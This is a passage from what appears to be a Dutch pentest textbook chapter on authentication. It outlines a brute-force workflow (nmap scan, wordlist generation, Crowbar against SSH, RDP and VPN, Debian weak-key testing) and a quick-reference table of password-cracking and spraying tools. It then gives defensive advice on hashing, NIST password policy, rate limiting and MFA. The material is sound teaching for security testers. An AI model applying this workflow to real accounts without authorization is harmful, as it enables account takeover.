IB – De Task Runner’s brute force-taken verwachten
dat de scan-resultaten al bestaan (via een eerdere
scan-taak). De workflow is: scan (nmap) ->
search (filter op services) ->
gen_passwords (woordlijst) ->
brute_ssh/brute_rdp/brute_vpn.
Elke stap bouwt voort op de vorige. De weak_ssh taak test
specifiek op Debian weak SSH keys – een kwetsbaarheid uit 2008 die
verbazingwekkend genoeg nog steeds in het wild voorkomt.
12.10 Verdediging: de complete authenticatie-checklist
Wachtwoordopslag
| Methode | Veilig? | Reden |
|---|---|---|
| Plain text | Nee | Eendatalek = alles gelekt |
| MD5 | Nee | Te snel, rainbow tables bestaan |
| SHA-256 | Nee | Te snel, geen salt |
| SHA-256 + salt | Matig | Beter, maar nog steeds te snel |
| bcrypt (cost 10+) | Ja | Opzettelijk langzaam, ingebouwde salt |
| Argon2id | Ja | Winnaar Password Hashing Competition; memory-hard |
| scrypt | Ja | Memory-hard, CPU-hard |
De juiste keuze in 2026 is Argon2id of bcrypt. Alles anders is een bevinding.
Wachtwoordbeleid
Het NIST-advies (SP 800-63B) is verhelderend:
- Minimaal 8 tekens (liever 12+)
- Geen verplichte complexiteitsregels (hoofdletters, cijfers, symbolen)
- Geen verplichte periodieke wijzigingen
- Check tegen breached password databases (HaveIBeenPwned)
- Blokkeer de meest voorkomende wachtwoorden
Ja, je leest dat goed. NIST raadt af om complexiteitsregels en periodieke wijzigingen te verplichten. De reden: deze regels leiden tot voorspelbare patronen (seizoen + jaar + uitroepteken) die zwakker zijn dan een zelfgekozen, lang wachtwoord.
Rate limiting en lockout
# Voorbeeld: progressieve vertraging
DELAY_MAP = {
3: 5, # Na 3 pogingen: 5 seconden wachten
5: 30, # Na 5 pogingen: 30 seconden
10: 300, # Na 10 pogingen: 5 minuten
20: 3600, # Na 20 pogingen: 1 uur
}Implementeer rate limiting op meerdere niveaus: - Per account - Per IP-adres - Per sessie - Globaal (als noodrem)
Multi-factor authenticatie
MFA is de enige verdediging die standhoudt als het wachtwoord is gecompromitteerd. Prioriteit:
- Hardware keys (YubiKey, FIDO2): beste optie, phishing-resistent
- Authenticator apps (TOTP): goed, maar phishable
- SMS/e-mail codes: beter dan niets, maar kwetsbaar voor SIM-swap/account-takeover
Laten we hier even opmerken dat we collectief al meer dan dertig jaar weten hoe wachtwoorden veilig moeten worden opgeslagen. Bcrypt bestaat sinds 1999. Dat is meer dan een kwart eeuw. In die tijd hebben we de iPhone uitgevonden, auto’s die zelf rijden, en een robot op Mars gezet. Maar wachtwoorden hashen met bcrypt – dat is blijkbaar een brug te ver voor sommige ontwikkelaars.
En dan het wachtwoordbeleid. We dwingen mensen om elke negentig dagen hun wachtwoord te wijzigen, wat resulteert in “Zomer2026!”, en vervolgens zijn we verbaasd dat iemand dat raadt. Dat is alsof je iemand dwingt om elke drie maanden een nieuw slot op zijn voordeur te zetten, maar alleen sloten verkoopt met drie mogelijke combinaties.
Het alternatief – een lang, uniek wachtwoord dat je nooit hoeft te wijzigen, opgeslagen in een password manager – is te simpel. Te elegant. Waar blijft de complexiteit? Waar blijft het lijden? Want als beveiliging niet pijnlijk is, dan voelt het niet alsof het werkt. En dat, dames en heren, is waarom we nog steeds “Welkom01!” als wachtwoord tegenkomen in Fortune 500-bedrijven.
12.11 IB Quick Reference
| Topic | IB Command / Taak | Beschrijving |
|---|---|---|
| Brute force tools | passwd_brute |
Medusa, Hydra, Crowbar, Ncrack commando’s voor SSH, RDP, HTTP, SMB, FTP |
| Password spraying | passwd_spray |
AD spray protocol: lockout policy, user enum, spray met wachttijd |
| Woordlijst generatie | passwd_wordlist |
CeWL, Crunch, John/Hashcat rules voor maatwerk woordlijsten |
| Wachtwoorden genereren | Task: gen_passwords |
IB Task Runner taak: genereert variaties naar
meuk/wordlists/passwords.txt |
| SSH brute force | Task: brute_ssh |
Crowbar SSH brute force op hosts uit nmap scan |
| RDP brute force | Task: brute_rdp |
Crowbar RDP brute force op hosts uit nmap scan |
| VPN brute force | Task: brute_vpn |
Crowbar VPN brute force op hosts uit nmap scan |
| Weak SSH keys | Task: weak_ssh |
Test Debian weak SSH keys (CVE-2008-0166) |
| Hash cracking | passwd_brute |
John the Ripper en Hashcat commando’s voor offline cracking |
Samenvatting
Authenticatie is het fundament van elk beveiligingssysteem. Brute force is de meest directe aanval erop – inelegant maar effectief, vooral wanneer gebruikers voorspelbare wachtwoorden kiezen. Password spraying exploiteert het feit dat in elke grote organisatie iemand het voor de hand liggende wachtwoord heeft gekozen. En woordlijsten, op maat gemaakt met website-scraping en mutatieregels, zijn het verschil tussen uren tevergeefs draaien en een hit binnen minuten.
Sessiemanagement – session tokens, cookies, JWTs – is het mechanisme waarmee we authenticatie onthouden over stateless HTTP. Zwakke tokens, ontbrekende cookie-flags, en kwetsbare JWT-implementaties ondermijnen elk sterk wachtwoordbeleid.
De verdediging is niet revolutionair: bcrypt of Argon2 voor wachtwoordopslag, MFA voor een tweede factor, rate limiting tegen brute force, en security headers als eerste verdedigingslinie. Het zijn dingen die we al jaren weten. De vraag is niet of we weten hoe we authenticatie moeten beveiligen. De vraag is waarom we het nog steeds niet doen.
In het volgende hoofdstuk brengen we alles samen: findings documenteren, CVSS 4.0 scoren, en rapporten genereren die ervoor zorgen dat al deze kwetsbaarheden daadwerkelijk worden opgelost.